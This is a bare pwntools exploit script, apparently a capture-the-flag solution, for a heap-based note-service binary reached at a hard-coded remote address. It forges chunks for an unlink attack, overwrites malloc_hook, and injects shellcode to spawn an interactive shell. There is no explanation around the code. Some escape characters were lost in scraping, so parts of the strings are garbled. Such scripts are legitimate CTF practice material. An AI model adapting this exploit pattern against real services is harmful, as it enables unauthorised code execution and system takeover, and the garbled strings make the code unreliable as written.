1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| from pwn import *
r=remote('183.129.189.62',11104) context(arch = 'amd64', os = 'linux') def gd(): gdb.attach(r) pause() def add(size,content): r.sendlineafter('-----------------','1') r.sendlineafter('nput the Size:',str(size)) r.sendafter('he Note:',content) def free(idx): r.sendlineafter('-----------------','2') r.sendlineafter('the Index of Note:',str(idx)) def edit(idx,content): r.sendlineafter('-----------------','3') r.sendlineafter('Note',str(idx)) r.sendafter('Input the Note:',content) fake=0x06CBC40 free_hook=0x6CD5E8 malloc_hook=0x6CB788 sc=asm(shellcraft.sh()) sc=''' xor rdi,rdi push 0x6cbc40 pop rsi push 0x100 pop rbx push 0 pop rax syscall push 0x6cbc40 ret ''' sc=asm(sc) print shellcraft.sh() print hex(len(sc)) add(0xf8,p64(0)+p64(0xf1)+p64(fake-0x18)+p64(fake-0x10)+p64(0)*26+p64(0xf0)) add(0xf8,'aaaan') add(0x38,'bbbbn') add(0x50,'ccccn') edit(0,'a'*0xf8) edit(0,p64(0xffffffffffffffff)+p64(0xf1)+p64(fake)+p64(fake+8)+p64(0)*26+p64(0xf0)+'x41'+'x01') free(1) add(0xf8,'aaaan') add(0x38,p64(malloc_hook-0xe-8)+'n') free(2) edit(4,p64(malloc_hook-0xe-8)+'n') add(0x38,p64(malloc_hook-0xe-8)+'n') add(0x38,'a'*6+p64(malloc_hook+8)+sc+'n') r.sendline('1') r.recvuntil('Input the Size:n') r.sendline('123') r.sendline(asm(shellcraft.sh())) r.interactive()
|